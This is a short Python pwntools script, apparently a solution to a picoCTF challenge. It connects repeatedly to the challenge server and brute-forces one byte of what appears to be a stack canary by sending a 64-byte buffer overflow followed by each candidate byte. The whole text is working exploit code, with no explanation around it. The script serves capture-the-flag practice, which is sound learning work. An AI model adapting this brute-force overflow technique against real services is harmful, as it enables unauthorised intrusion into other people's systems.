script.py

from pwn import *
for i in range(33, 256):
  p = remote("saturn.picoctf.net", 63257)
  p.sendline(b"66")
  p.sendline(b"a"*64 + b"B" + chr(i).encode())
  ans = p.recvall().decode()
  if "Ok" in ans:
    print(chr(i))
    break